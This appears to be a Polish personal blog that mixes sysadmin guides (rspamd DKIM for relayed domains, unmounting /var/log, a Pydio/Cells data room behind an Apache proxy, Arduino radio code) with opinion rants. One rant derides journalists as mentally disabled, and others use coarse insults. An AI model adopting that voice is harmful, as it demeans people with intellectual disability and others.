współczesnych dylematów popularnej literatury młodzieżowej osadzonych w kontekście magiczno-religijnym oraz [s]tarcia cnót o pedały (z[a]wrotka nr 5),

zielonych [ś]w[i[ątków ekologicznych (nr 6),
incelo-kuców w trad-stadzie.

Wyżej opisana część służy czytelnikowi/słuchaczowi do zrozumienia w czym się pomylił, jeśli ma rybę w piątek na talerzu. W tej części Podsiadło Dawidowi racji odmawiam i nie będę udowadniał bo on też nie udowadnia. Jemu się nie chciało, to mi też!

Dobra, na szczęście ostatnia czyli druga część sedna nadeszła, którego w calości nie cytuję bo symbol ryby już był w cz. pierwszej:

Rzucę kamieniem prosto w Twoją twarz
Nic o mnie nie wiesz a ja Ciebie znam
W niebieskim niebie nie otworzą bram
Bóg da zbawienie ale tylko nam
Rzucę kamieniem prosto w Twoją twarz
Nic o mnie nie wiesz a ja Ciebie znam
W niebieskim niebie nie otworzą bram
Bóg da zbawienie ale tylko nam

Z kamieniem to chyba każdy wie, nie? Opuszczam, bo Podsiadło Dawid ma rację i cytat jest bardzo adekwatny oraz udany. Należy go często powtarzać. Sobie, panie Podsiadło. Sobie.

I na koniec najważniejsze słowa i jak najbardziej prawdziwe, aż powtórzę:

Bóg da zbawienie ale tylko nam

Bo właśnie o to chodzi!!! Tylko nam. Nikt nie obiecywał inkluzji Dawidku. Wręcz przeciwnie!

Melodia do pupy ale słowa w sedno. Pół brawa.

Zagłodzić AI

2022-10-20T16:00:00+02:00

Bardzo możliwe, że mój pomysł jest spóźniony ale kto wie?

Moglibyśmy kolektywnie spróbować zagłodzić AI, po prostu przestając publikować w Internecie. Modele nie miałyby nic do spożywania, a kanibalizm i chów wsobny kończą się, albo brakiem żarcia, albo dewiacjami.

Chodowałyby się modele sprawnie odróżniające pieska od kotka albo konwersujące na temat równie złożonych problemów jak np. czy posłanka to leżanka lub czy brwi należy smarować od oka ku włosom czy wręcz odwrotnie.

Wielu książek wciąż nie przepisano na bity więc pewną nadzieję mam.

Głodzimy?

Polska Poczta jest jak Polski rząd

2022-09-21T08:20:00+02:00

Od 30 lat, mimo dyszącej nad głową konkurencji, czas oczekiwania na przesyłkę z Poczty Polskiej niewiele się zmienił. Zupełnie jak w polityce, od 30 lat te same, zakłamane niestety, twarze. I paradygmat działania podobny: mamy was w dupie!

Jest 21 września, środa, 4 dni w drodze. Nie liczę niedzieli ale sobotę dodaję bo o tej samej godzinie, tego samego dnia, zamówiłem inne rzeczy i cieszę się nimi od soboty, 17 września, bo miałem je w paczkomacie na drugi dzień! Ok, różnica może być w odległości ale na powyższym obrazku widać, że przesyłka nie dotarła do mojego miasta bo nie została zarejestrowana.

W Onecie pojawili się "dziennikarze"

2022-09-14T16:51:00+02:00

Kto takich debili ustanowił redaktorami i kto ustanowił debili przełożonymi redaktorów? Mam na myśli debili w sensie medycznym czyli ludzi ze słabym upośledzeniem umysłowym. Przecież nie może być inaczej, tylko upośledzony człowiek po (mam nadzieję) szkole dziennikarstwa może nadal walić takie błędy. Uczyli go przez 4 lata ale nie udało się ze względu na upośledzenie. Tylko jaki poziom umysłowy prezentuje jego przełożony? Zacząłem się bać, że to może zaczynać się wyżej! Boże chroń nas jeśli zaczyna się na uniwersytecie!!!

DKIM for relayed domain (rspamd)

2022-06-23T17:19:00+02:00

If you need to send e-mail from one domain using not default MX server with all header info correctly rewritten this is guide for you.

Real world scenario:

there is MX server for domain dupa.com that you use for normal delivery for users from dupa.com,
there is also phpList service on the very same server that you want to use for massmailing but you want your emails to look like sent from domains: kurka.pl and wodna.org, with all SPF, DKIM things magically written in headers,
you are able to edit DNS records and change configuration of Postfix and rspamd.

Quick solution is like that:

Postfix

The two emails you need to be used in phpList configuration are:

zdzichu@kurka.pl
stefan@wodna.org

Add local emails account to your Postfix, I will not cover it here because there are many methods to do it. For this solution I will choose:

kurka@dupa.com (will be used for zdzichu@kurka.pl)
wodka@dupa.com (will be used for stefan@wodna.org)

Check if you really can authorize and send emails, just to not mess with it when something will not work later.

In a Postfix configuration (/etc/postfix/main.cf) allow your server to be relay for both kurka.pland wodna.org:

relay_domains = kurka.pl, wodna.org

Then add following line which will instruct Postfix how to map particular local emails to emails from both external domains:

smtp_generic_maps = hash:/etc/postfix/rewrite_phplists

Content of /etc/postfix/rewrite_phplist is:

kurka@dupa.com zdzichu@kurka.pl
wodka@dupa.com stefan@wodna.org

Do you see how they maps togheter? OK, now make hash table from this file:

cd /etc/postfix
postmap rewrite_phplist

Do ls to check if rewrite_phplist.db file were created.

If so, reload Postfix:

systemctl reload postfix

SPF

Add IP address of dupa.com to your SPF record in your DNS zone form kurka.pl, it should be something like:

"v=spf1 a mx ip4:yyy.yyy.yyy.yyy ip4:xxx.xxx.xxx.xxx  ~all"

where yyy.yyy.yyy.yyy is IP of kurka.pl, and xxx.xxx.xxx.xxx of dupa.com.

Then same for wodna.org:

"v=spf1 a mx ip4:zzz.zzz.zzz.zzz ip4:xxx.xxx.xxx.xxx ~all"

where zzz.zzz.zzz.zzz is IP of wodna.pl, and xxx.xxx.xxx.xxx IP is for... gues what? Of course, also dupa.com.

RSPAMD

Now, we need DKIM keys for both extrenal domains. I presume that you already have DKIM records in your DNS zone. I will not cover it here, look for it in Internet or ask you local guru.

Copy both DKIM keys on dupa.com server into /var/lib/rspamd/dkim/ folder. Key for dupa.com should already be there as dupa.key.

Let's say keyfile for kurka.pl is named: kurka.key and keyfile for wodna.org is named: wodna.key.

Now edit file/etc/rspamd/local.d/dkim_signing.conf and put following directives in it:

### Enable DKIM signing for alias sender addresses
allow_username_mismatch = true;

# If true, envelope/header domain mismatch is ignored
# it will allow to sign emails from external domains
allow_hdrfrom_mismatch = true;

# This allows to sign also local emails
sign_local = true;

# This maps domains with corresponding keys
domain {
        # DUPA.COM (we want sign original emails)
        dupa.com {
        # Private key path
        path = "/var/lib/rspamd/dkim/dupa.key";
        selector = "dupa2022";
        }
        # KURKA.pl
        kurka.pl {
        # Private key path
        path = "/var/lib/rspamd/dkim/kurka.key";
        selector = "kurka2022";
        }
        # WODNA.ORG
        wodna.org {
        # Private key path
        path = "/var/lib/rspamd/dkim/wodna.key";
        selector = "wodna2022";
        }
}

Save it and copy file /etc/rspamd/local.d/dkim_signing.conf to /etc/rspamd/local.d/arc.conf:

cd /etc/rspamd/local.d/
cp dkim_signing.conf arc.conf

Now, restart rspamd:

systemctl restart rspamd

Now, it should work.

You can check it with following tool: https://www.mail-tester.com/

In case something is wrong you can check rspamd log for DKIM errors, add following lines to /etc/rspamd/local.d/logging.inc:

type = "file";
filename = "/var/log/rspamd/rspamd.log";
level = "error";
debug_modules = ["dkim_signing"];

Then look what happens in log file:

tail -f /var/log/rspamd/rspamd.log

Remeber to comment out last line when you will finish debbuging.

Thanks for listening, don't comment (no comments), you can share it wherever you want.

Stop logging to deal with /var/log

2022-06-10T10:10:00+02:00

I have /var/log mounted as separate partition, so trying to umount it gets to:

root@mail:~# umount /var/log
umount: /var/log: target is busy.

Let's look what is blocking it:

lsof | grep 'var/log'

systemd-j 364 root mem REG 8,18 8388608 524326 /var/log/journal/d59b94e79c8c4d78baaa487f78c7f5b1/user-1000@666512ad46e3412bb055fb811107893a-000000000062c409-0005e11333729c20.journal
php-fpm7. 696 root 4w REG 8,18 1456 64 /var/log/php7.4-fpm.log
unattende 821 998 gmain root 3w REG 8,18 113 524316 /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
nginx 1016 root 2w REG 8,18 16384 393237 /var/log/nginx/error.log
nginx 1019 www-data 7w REG 8,18 4096 393267 /var/log/nginx/phplist-error.log
rspamd 1560 _rspamd 6w REG 8,18 7009 393282 /var/log/rspamd/rspamd.log

There are more of them, so I just removed some lines.

Services like ngins, rspamd, php-fpm are easy to stop, just do like following:

systemctl stop nginx.service

But what about systemd journal itself and kernel loggin? Do this:

systemctl stop logrotate.timer
systemctl stop unattended-upgrades.service
systemctl stop systemd-journald.service
systemctl stop syslog.socket

and they are gone!

Free Virtual Data Room - Pydio/Cells

2022-03-31T12:50:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Few years ago I built a VDR for a hotel developer. It was a simple repository for documents, with simple permissions: one administrator and many users with read option. Later it got a bit more complex, but not too much so. The repository was operated by vsftpd and the sharing was made possible by Apache. This is still working today. The main disadvantage of this system is the susceptibility to human error - you have to set up access groups and users very carefully.

Recently someone who knew my old VDR asked if it's easy to do because he wanted to have his own. I said yes and no, and that the configuration was messed up. And I decided to find something better.

Once I did something for a company from Switzerland which had bought hosting, and one of the services available from one click was Pydio. Just a simple VDR.

Today it's a really mature product and it has a container version, so I decided to check it out.

I insisted that I will use Portainer because it's very convenient when it comes to container handling.

I put Portainer on a virtual machine with IP: 192.168.1.8. I had Ubuntu 21.10 on it so installing Portainer comes down to:

docker volume create portainer_data

docker run -d -p 8000:8000 -p 9443:9443 \
       --name portainer --restart=always \
       -v /var/run/docker.sock:/var/run/docker.sock \
       -v portainer_data:/data \
       portainer/portainer-ce:2.11.1

At this step I don't care about SSL certificate and ports and after a few seconds I have the GUI of the Portainer (remember my VM has IP 192.168.1.8):

https://192.168.1.8:9443

Nex step is to install the database for Pydio, it will be MariaDB containe from linuxserver/mariadb.

(https://hub.docker.com/r/linuxserver/mariadb)

In the Portainer I choose Volumes -> Add Volume, I name the volume for example "baza".

Now I create a container: Containers -> Add Container and fill in the fields:

On the Volumes tab I choose "map additional volume" and fill in the fields:
container /config
volume base - local

On the Env tab I choose "Add an environment variable" and fill in the fields:
PGID 1000
PUID 1000
MYSQL_ROOT_PASSWORD my_password_to_mysql
TZ Europe/Warsaw

At the end I click "Deploy the container".

When the image has finished downloading and the container starts running in the Portainer Containers tab you can see what IP address our database has. In my case it is for example 172.17.0.4, and MariaDB is running on default port 3306.

Now it's time for Pydio/Cells.

As with the database I start with the Volume. Why? Because I want the data to be independent of the containers, this will be useful when servicing them, such as updating.

I choose Volumes -> Add Volume, I name the volume for example "pydio-vdr".

Now I create a container:
Name pydio
Image pydio/cells:latest

A small difference with MariaDB, I set the port mapping:
external (on host) in the container
8443 8080

I also map the created volume "vdr".

Finally I click "Deploy the container" and after a while at: https://192.168.1.8:8443 I have the Pydio installation page. In the appropriate fields I enter the data to connect to the database, that is, as host 172.17.0.4 and the password.

The installation itself is simple, it's a few fields to fill in and clicking on "Next", so I won't elaborate.

Here's how the Portainer GUI should look like:

If not for the fact that my Portainer machine is behind a firewall this would be the end of the job. However, I still need to use a reverse proxy to get to the machine through the public address.

I start by adding an A record to DNS pointing to my firewall.

Let's assume that the public address: vdr.dupa.pl points to the firewall. In the firewall itself I have a NAT rule redirecting ports 80 and 443 to the address of the web server (192.168.1.80) where I set up the reverse proxy.

Here are the redirect rules in firewall:

<VirtualHost *:80>
    ServerName vdr.dupa.pl
    Redirect / https://vdr.dupa.pl/
</VirtualHost>

<VirtualHost *:443>
    ServerName vdr.dupa.pl
    AllowEncodedSlashes On
    SSLEngine on
    SSLProxyEngine  On
    ProxyPreserveHost On
    ProxyRequests off
    Loglevel debug
        ProxyPassMatch "/ws/(.*)" wss://192.168.1.8:8443/ws/$1 nocanon
    ProxyPass / https://192.168.1.8:8443/ nocanon
        ProxyPassReverse  / https://192.168.1.8:8443/ nocanon
        ProxyRequests off
    SSLCertificateFile /etc/letsencrypt/live/vdr.dupa.pl/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/vdr.dupa.pl/privkey.pem
    Include /etc/letsencrypt/options-ssl-apache.conf

    <Location />
        RequestHeader set X-Forwarded-Proto “https”
        RequestHeader set X-Forwarded-Port “443”
    </Location>
</VirtualHost>

I have the proxy on Apache because that's where Apache is and I'm not going to move everything to nginx now.

First I generate Let'sEncrypt certificate for vdr.dupa.pl.

I kill Apache:

sudo systemct stop apache2

sudo certbot --certonly --standalone -d vdr.dupa.pl

In /etc/apache2/sites-available I have the vdr.dupa.pl.conf configuration file:

.
ServerName vdr.dupa.pl
Redirect / https://vdr.dupa.pl/
.

ServerName vdr.dupa.pl SSLEngine on SSLProxyEngine On ProxyPreserveHost On ProxyRequests off Loglevel debug ProxyPass / https://192.168.1.8:8443/ SSLCertificateFile /etc/letsencrypt/live/vdr.dupa.pl/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/vdr.dupa.pl/privkey.pem Include /etc/letsencrypt/options-ssl-apache.conf ProxyPassReverse / RequestHeader set X-Forwarded-Proto "https" RequestHeader set X-Forwarded-Port "443" . .

sudo a2ensite vdr.dupa.pl.conf

sudo systemctl start apache2

I go to https://vdr.dupa.pl and…

500 Internal server error

Oh dear! In the Apache logs you can see what happened, the proxy establishes an https connection with Pydio but the certificate doesn't match, no wonder.

The easiest way is: generated certificate and key for domain vdr.dupa.pl I copy myself gdz

Rozbójnicy z ICM

2022-03-30T14:06:00+02:00

Gdzieś w początkach lat 2000-nych ICM wyrwał się ze świetną inicjatywą skierowaną do artystów i instytucji związanych ze sztuką. Mianowicie pozwalał na rejestrowanie subdomen w domenie .art.pl.

Usługa miała być dożywotnia i darmowa (mówi się na to "pro publico bono" czyli dla dobra publicznego).

Z tego co się orientuję sporo osób prywatnych oraz instytucji publicznych zarejestrowało sobie domeny w art.pl i przez lat przeszło dwadzieścia używało. Ludzie się przyzwyczaili.

Aż tu nagle w roku obecnym 2022, ICM przekazało zarządzanie domenami jakiejś firemce z Warszawy. ICM to podmiot utrzymywany z podatków więc przy przekazaniu powinny być zachowane jakieś zasady, ot żeby nie kusiło jakichś złodziei. Jak się to odbyło? A cholera wie ale chyba niezbyt przeźroczyście. Jest dyskusja o tym tu: https://forum.rootnode.pl/topic/2232-zmiana-operatora-domen-artpl/.

Firemka żąda sobie obecnie ponad 148 złotych za rok, w promocji 80 zł, co w porówaniu za domenę np. w OVH 49,90 zł/rocznie jest szalbierswem.

Napisałem im, żeby mnie pocałowali w dupę.

A to co zrobiło ICM ze swoją obietnicą to kawał świństwa bo zachowali się jak bandzior przystawiający pistolet do głowy z tekstem: "płacisz albo strzelam".

ICM też niech się całuje w dupę.

Thunderbird jak Mail.app

2022-03-08T14:17:00+01:00

W macOS-ie był (może jest) dobry klient poczty, obsługa poczty na szerokim ekranie to była przyjemność, której zapragnąłem w Thunderbirdzie. I da się.

W menu (polskim): Widok -> Układ -> Pionowy.

Ale domyślne czcionki są nieco za duże więc trzeba pogrzebać w edytorze Ustawień czyli "Hamburger menu" -> Preferencje -> Ogólne, scrollem na sam dół i odpalamy "Edytor ustawień".

Wyszukujemy "font.size.systemFontScale" i ustawiamy np. na 70. Restart i ....

Radio łazienkowe cz.1

2022-03-06T22:38:00+01:00

W kontekście tego szaleństwa, które nas otacza od dni 10-ciu, szaleństwem nie mniejszym wydaje się robienie łazienkowego radia. Ale muszę coś robić, żeby nie zwariować od wiadomości pokazujących w jak czarnej dziurze jesteśmy. Mogę tylko dodać: wspierajcie Fundację Ad Arma - to są dobrzy i rozsądni ludzie.

Projekt ten zaczął się już 4 lata temu ale jakoś się nie rozwinął. Były to próby z zupełnie innym, niż obecny, modułem. Radio działało, miało wyświetlacz (od Nokii) potencjometry i wzmacniacz ale sam moduł miał jakąś wadę. Kopałem się z tym koniem tak długo, że skończyła mi się cierpliwość.

Resztki wyglądają tak:

Nowy moduł to TEA5767 z gniazdami typu jack dla anteny i słuchawek. Wyjście słuchawkowe wykorzystam jako sygnał do dodatkowego wzmacniacza bo głośnika, wbudowany nie uciągnie.

Zalążek wygląda tak:

W Arduino IDE doinstalowałem bibliotekę o nazwie "Radio", strona biblioteki jest pod tym adresem: http://www.mathertel.de/Arduino/RadioLibrary.aspx.

Używam Arduino UNO ale im bliżej końca tym bardziej będę chciał użyć jakiegoś klona Nano, mam ATmega328 CH340, z tym że boję się czy wystarczy pamięci do sprawnego działania. Ostatnim razem miałem, jak pisałem już wyżej, kłopoty i coś mi się zaczyna przypominać, że jechał już na oparach jeśli chodzi o pamięć.

Głośnik mam sufitowy, marki Blow, o nast. specyfikacji:

Średnica	4 cale
Moc maksymalna	15 W
Impedancja	8 Ohm
Cewka	0,75" ASV
Magnes	60x24x8
Zakres częstotliwości	104Hz - 15kHz
Czułość	87dB +/- 2dB

Myślę nad wzmacniaczem... moje typy, totalnie na czuja i chyba przesadzone:

https://mageek.com.pl/audio-wzmacniacze/458-modul-wzmacniacz-audio-tda2030-18w-koncowka-mocy-18w.html

https://mageek.com.pl/audio-wzmacniacze/244-modul-wzmacniacz-audio-pam88610.html

Do sterowania mam zamiar użyć panelu dotykowego:

https://www.artronic.eu/pl/p/LCD-RTP-128064A-goldpin4/1043

Wydrukować pod spód wkładkę z narysowanymi przyciskami bo nie znalazłem wodoodpornego panelu.

A'propos wody to myślę jak zabezpieczyć całość. Ludzie proponują takie specyfiki:

https://www.f4p-products.com/products/4319079-2-x-150ml-bottles-of-magic-gel

https://www.mgchemicals.com/products/conformal-coating/silicone-conformal-coatings/silicone-modified-conformal-coating/

ewentualnie pudełko:

https://www.adafruit.com/product/341

Aha, a kod? Zalążek wzięty z przykładu załączonego do blblioteki "Radio":

///
/// \file SerialRadio.ino
/// \brief Radio implementation using the Serial communication.
///
/// \author Matthias Hertel, http://www.mathertel.de
/// \copyright Copyright (c) 2014 by Matthias Hertel.\n
/// This work is licensed under a BSD style license.\n
/// See http://www.mathertel.de/Arduino/RadioLibrary.aspx
///
/// \details
/// This is a full function radio implementation that uses a LCD display to show the current station information.\n
/// It can be used with various chips after adjusting the radio object definition.\n
/// Open the Serial console with 57600 baud to see current radio information and change various settings.
///
/// Wiring
/// ------
/// The necessary wiring of the various chips are described in the Testxxx example sketches.
/// The boards have to be connected by using the following connections:
///
/// Arduino port | TEA5767 z portami dla anteny i sluchawek
/// :----------: | :-----------:
/// GND (black)  | GND
/// 3.3V (red)   | -
/// 5V (red)     | VCC
/// A5 (yellow)  | SLC (SLCK)
/// A4 (blue)    | SDA (SDIO)
/// D2           | -
///
/// UWAGA RDS NIE DZIALA!
///
/// More documentation and source code is available
/// at http://www.mathertel.de/Arduino
///
/// History:
/// --------
/// * 05.08.2014 created.
/// * 04.10.2014 working.

#include <Wire.h>
#include <radio.h>
#include <TEA5767.h>
#include <RDSParser.h>


// Define some stations available at your locations here:
// 89.40 MHz as 8940

RADIO_FREQ preset[] = {
  8780, // Wnet
  8840, // Pogoda
  8900, // Maryja
  8980, // Supernova
  9060, // RMF FM
  9200, // Polskie Radio 24
  9240, // Jedynka
  9330, // Eska
  9710, // Kampus
  9770, // Tok FM
  9880, // Trojka
  10110, // Zlote Przeboje
  10150, // ChilliZet
  10370, // Rock Radio
  10680 // Antyradio
};

int    i_sidx = 0;        ///< Start at Station with index=0

/// The radio object has to be defined by using the class corresponding to the used chip.
/// by uncommenting the right radio object definition.

TEA5767  radio;    ///< Create an instance of a TEA5767 chip radio.


/// get a RDS parser
RDSParser rds;


/// State definition for this radio implementation.
enum RADIO_STATE {
  STATE_PARSECOMMAND, ///< waiting for a new command character.

  STATE_PARSEINT,     ///< waiting for digits for the parameter.
  STATE_EXEC          ///< executing the command.
};

RADIO_STATE state; ///< The state variable is used for parsing input characters.

// - - - - - - - - - - - - - - - - - - - - - - - - - -



/// Update the Frequency on the LCD display.
void DisplayFrequency(RADIO_FREQ f)
{
  char s[12];
  radio.formatFrequency(s, sizeof(s));
  Serial.print("FREQ:"); Serial.println(s);
} // DisplayFrequency()


/// Update the ServiceName text on the LCD display.
void DisplayServiceName(char *name)
{
  Serial.print("RDS:");
  Serial.println(name);
} // DisplayServiceName()


// - - - - - - - - - - - - - - - - - - - - - - - - - -


void RDS_process(uint16_t block1, uint16_t block2, uint16_t block3, uint16_t block4) {
  rds.processData(block1, block2, block3, block4);
}


/// Execute a command identified by a character and an optional number.
/// See the "?" command for available commands.
/// \param cmd The command character.
/// \param value An optional parameter for the command.
void runSerialCommand(char cmd, int16_t value)
{
  if (cmd == '?') {
    Serial.println();
    Serial.println("? Help");
    Serial.println("+ increase volume DON'T WORK");
    Serial.println("- decrease volume DON'T WORK");
    Serial.println("> next preset");
    Serial.println("< previous preset");
    Serial.println(". scan up DON'T WORK");
    Serial.println(", scan down  DON'T WORK");
    Serial.println("fnnnnn: direct frequency input");
    Serial.println("i station status");
    Serial.println("s mono/stereo mode");
    Serial.println("b bass boost  DON'T WORK");
    Serial.println("u mute/unmute");
  }

  // ----- control the volume and audio output -----

  else if (cmd == '+') {
    // increase volume
    int v = radio.getVolume();
    if (v < 15) radio.setVolume(++v);
    Serial.println();
    Serial.print("Increasing volume:"); Serial.println(v);
  }
  else if (cmd == '-') {
    // decrease volume
    int v = radio.getVolume();
    if (v > 0) radio.setVolume(--v);
    Serial.println();
    Serial.print("Decreasing volume:"); Serial.println(v);
  }

  else if (cmd == 'u') {
    // toggle mute mode
    radio.setMute(!radio.getMute());
  }

  // toggle stereo mode
  else if (cmd == 's') {
    radio.setMono(!radio.getMono());
  }

  // toggle bass boost
  else if (cmd == 'b') {
    radio.setBassBoost(!radio.getBassBoost());
  }

  // ----- control the frequency -----

  else if (cmd == '>') {
    // next preset
    if (i_sidx < (sizeof(preset) / sizeof(RADIO_FREQ)) - 1) {
      i_sidx++; radio.setFrequency(preset[i_sidx]);
    } // if
  } else if (cmd == '<') {
    // previous preset
    if (i_sidx > 0) {
      i_sidx--;
      radio.setFrequency(preset[i_sidx]);
    } // if

  } else if (cmd == 'f') {
    radio.setFrequency(value);
  }

  else if (cmd == '.') {
    radio.seekUp(false);
  } else if (cmd == ':') {
    radio.seekUp(true);
  } else if (cmd == ',') {
    radio.seekDown(false);
  } else if (cmd == ';') {
    radio.seekDown(true);
  }


  // not in help:
  else if (cmd == '!') {
    if (value == 0) radio.term();
    if (value == 1) radio.init();

  } else if (cmd == 'i') {
    char s[12];
    radio.formatFrequency(s, sizeof(s));
    Serial.print("Station:"); Serial.println(s);
    Serial.print("Radio:"); radio.debugRadioInfo();
    Serial.print("Audio:"); radio.debugAudioInfo();

  } // info

  else if (cmd == 'x') {
    radio.debugStatus(); // print chip specific data.
  }
} // runSerialCommand()


/// Setup a FM only radio configuration with I/O for commands and debugging on the Serial port.
void setup() {
  // open the Serial port
  Serial.begin(57600);
  Serial.print("Radio...");
  delay(500);

  // Initialize the Radio
  radio.init();

  // Enable information to the Serial port
  radio.debugEnable();

  radio.setBandFrequency(RADIO_BAND_FM, preset[i_sidx]); // 5. preset.

  // delay(100);

  radio.setMono(false);
  radio.setMute(false);
  // radio._wireDebug();
  radio.setVolume(8);

  Serial.write('>');

  state = STATE_PARSECOMMAND;

  // setup the information chain for RDS data.
  radio.attachReceiveRDS(RDS_process);
  rds.attachServicenNameCallback(DisplayServiceName);

  runSerialCommand('?', 0);
} // Setup


/// Constantly check for serial input commands and trigger command execution.
void loop() {
  int newPos;
  unsigned long now = millis();
  static unsigned long nextFreqTime = 0;
  static unsigned long nextRadioInfoTime = 0;

  // some internal static values for parsing the input
  static char command;
  static int16_t value;
  static RADIO_FREQ lastf = 0;
  RADIO_FREQ f = 0;

  char c;
  if (Serial.available() > 0) {
    // read the next char from input.
    c = Serial.peek();

    if ((state == STATE_PARSECOMMAND) && (c < 0x20)) {
      // ignore unprintable chars
      Serial.read();

    } else if (state == STATE_PARSECOMMAND) {
      // read a command.
      command = Serial.read();
      state = STATE_PARSEINT;

    } else if (state == STATE_PARSEINT) {
      if ((c >= '0') && (c <= '9')) {
        // build up the value.
        c = Serial.read();
        value = (value * 10) + (c - '0');
      } else {
        // not a value -> execute
        runSerialCommand(command, value);
        command = ' ';
        state = STATE_PARSECOMMAND;
        value = 0;
      } // if
    } // if
  } // if


  // check for RDS data
  radio.checkRDS();

  // update the display from time to time
  if (now > nextFreqTime) {
    f = radio.getFrequency();
    if (f != lastf) {
      // print current tuned frequency
      DisplayFrequency(f);
      lastf = f;
    } // if
    nextFreqTime = now + 400;
  } // if

} // loop

// End.

Darmowy Virtual Data Room - Pydio/Cells

2022-03-02T18:57:00+01:00

Kilka(naście) lat temu zbudowałem VDR dla developera holetu. Było to proste repozytorium na dokumenty, z prostymi uprawnieniami: jeden administrator i wielu użytkowników z opcją odczytu. Potem się to trochę rozbudowało ale niespecjalnie mocno. Repozytorium obsługiwało się za pomocą vsftpd, a udostępnianie umożliwiał Apache. Działa to do dziś. Główną wadą tego systemu jest podatność na ludzki błąd - trzeba bardfzo starannie ustalać grupy dostępu i użytkowników.

Niedawno ktoś, kto znał mój stary VDR zapytał czy łatwo to zrobić bo chciał mieć swoje. Odparłem, że i tak, i nie, oraz że konfiguracja jest popaprana. I postanowiłem znaleźć coś lepszego.

Kiedyś robiłem coś dla firmy ze Szwajcarii, która miała wykupiony hosting, a jedną z usług dostępnych od jednego kliku było Pydio. Właśnie prosty VDR.

Dziś to jest naprawdę dojrzały produkt, w dodatku ma wersję kontenerową, postanowiłem więc go sprawdzić.

Uparłem się, że użyję Portainera bo jest bardzo wygodny jeśli idzie o obsługę kontenerów.

Portainera postawiłem na maszynie wirtualnej. Miałem na niej Ubuntu 21.10 więc instalacja Portainera sprowadza się do:

docker volume create portainer_data

docker run -d -p 8000:8000 -p 9443:9443 --name portainer \
--restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
-v portainer_data:/data \
portainer/portainer-ce:2.11.1

Nie dbam o certyfikat SSL i porty w tym przypadku i po kilkudzisięciu sekundach mam GUI Portainera (maszyna wirtualna ma IP 192.168.1.8):

https://192.168.1.8:9443

Pora na instalację bazy danych dla Pydio, będzie to MariaDB z linuxserver/mariadb.

(https://hub.docker.com/r/linuxserver/mariadb)

W Portainerze wybieram Volumes -> Add Volume, nazywam wolumen np. "baza".

Teraz tworzę kontener: Containers -> Add Container i wypełniam pola:

Name	mariadb
Image	linuxserver/mariadb:latest

W zakładce Volumes wybieram "map additional volume" i wypełniam pola:

container	/config
volume	baza - local

W zakładce Env wybieram "Add an environment variable" i wypełniam pola:

PGID	1000
PUID	1000
MYSQL_ROOT_PASSWORD	moje_hasło_do_mysql
TZ	Europe/Warsaw

Na koniec klikam "Deploy the container".

Gdy zakończy się pobieranie obrazu i kontener ruszy w zakładce Portainera Containers widać jaki adres IP ma nasza baza. W moim przypadku jest to np. 172.17.0.4, a MariaDB chodzi na domyślnym porcie 3306.

Teraz czas na Pydio/Cells.

Podobnie jak przy bazie zaczynam od Volumenu. Po co? Bo chcę aby dane były niezależne od kontenerów, przyda się to podczas ich serwisowania, np. aktualizacji.

Wybieram Volumes -> Add Volume, nazywam wolumen np. "vdr".

Koniecznie trzeba załozyć wolumen na konfigurację Pydio, np. "pydio-config".

Teraz tworzę kontener:

Name	pydio
Image	pydio/cells:latest

Mała różnica w stosunku do MariaDB, ustawiam mapowanie portów:

zewnętrzny (na hoście)	w kontenerze
8443	8080

Mapuję też utworzony wolumen "vdr" pod "/vdr", a wolumen "pydio-config" pod "/var/cells".

Na koniec klikam Deploy the container i po chwili pod adresem: https://192.168.1.8:8443 mam stronę instalacyjną Pydio. W odpowiednie pola wprowadzam dane do połączenia z bazą, czyli jako host 172.17.0.4 i hasło.

Sama instalacja jest prosta, jest to parę pól do wypełnienia i klikanie w Next, więc nie będę się rozpisywał.

Gdyby nie fakt, że moja maszyna Portainerem stoi za firewallem to były koniec roboty. Ja jednak muszę jeszcze użyć reverse proxy, żeby dostawać się do maszyny po publicznym adresie.

Zaczynam od dodania do DNS rekordu A wskazującego na mój firewall. Przyjmijmy, że adres: vdr.dupa.pl wskazuje na firewall. W samym firewallu mam regułę NAT przekierowującą porty 80 i 443 na adres serwera www w którym ustawię reverse proxy.

Poniższe czynności robię na serwerze www!!! Nie na Portainerze.

Proxy mam na Apache'u, bo tam jest Apache i nie będę teraz przenosił wszystkiego na nginxa.

Najpierw generuję certyfikat Let'sEncrypt dla vdr.dupa.pl.

Zabijam Apache'a:

sudo systemct stop apache2

sudo certbot --certonly --standalone -d vdr.dupa.pl

W /etc/apache2/sites-available mam plik z konfiguracją vdr.dupa.pl.conf:

<VirtualHost *:80>
    ServerName vdr.dupa.pl
    Redirect / https://vdr.dupa.pl/
</VirtualHost>

<VirtualHost *:443>
    ServerName vdr.dupa.pl
    SSLEngine on
    SSLProxyEngine  On
    ProxyPreserveHost On
    ProxyRequests off
    Loglevel debug
    ProxyPass / https://192.168.1.8:8443/
    SSLCertificateFile /etc/letsencrypt/live/vdr.dupa.pl/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/vdr.dupa.pl/privkey.pem
    Include /etc/letsencrypt/options-ssl-apache.conf
    <Location />
        ProxyPassReverse /
        RequestHeader set X-Forwarded-Proto “https”
        RequestHeader set X-Forwarded-Port “443”
    </Location>
</VirtualHost>

sudo a2ensite vdr.dupa.pl.conf

sudo systemctl start apache2

Wchodzę pod adres https://vdr.dupa.pl i...

500 Internal server error

O, żesz! W logach Apache widać co się stało, proxy nawiązuje połączenie https z Pydio ale certyfikat się nie zgadza, nic dziwnego.

Najprostszy sposób to: wygenerowane certyfikat i klucz dla domeny vdr.dupa.pl kopiuję sobie gdzieś skąd mogę je pobrać wgetem.

W Portainerze wchodzę w kontener Pydio i uruchamiam Console: /bin/sh.

W shellu wgetem pobieram certyfikat i klucz do kontenera. Jest tam katalog "/var/cells/certs" (to jest zamapowany wolumen "pydio-config") i do niego je wrzucam.

Uwaga! Zawartość wolumena dostępna jest też bezpośrednio na hoście z portainerem w katalogu: /var/snap/docker/common/var-lib-docker/volumes/pydio-config/_data.

Uruchamiam polecenie:

cells configure sites

wybieram "Edit current site", potem "Leave as is". Z listy wybieram opcję "Custom certificate: provide paths to certificate/key files".

Podaję pełną ścieżkę do ceetyfikatu i klucza, u mnie: /var/cells/certs/fullchain.pem oraz /var/cells/certs/privkey.pem.

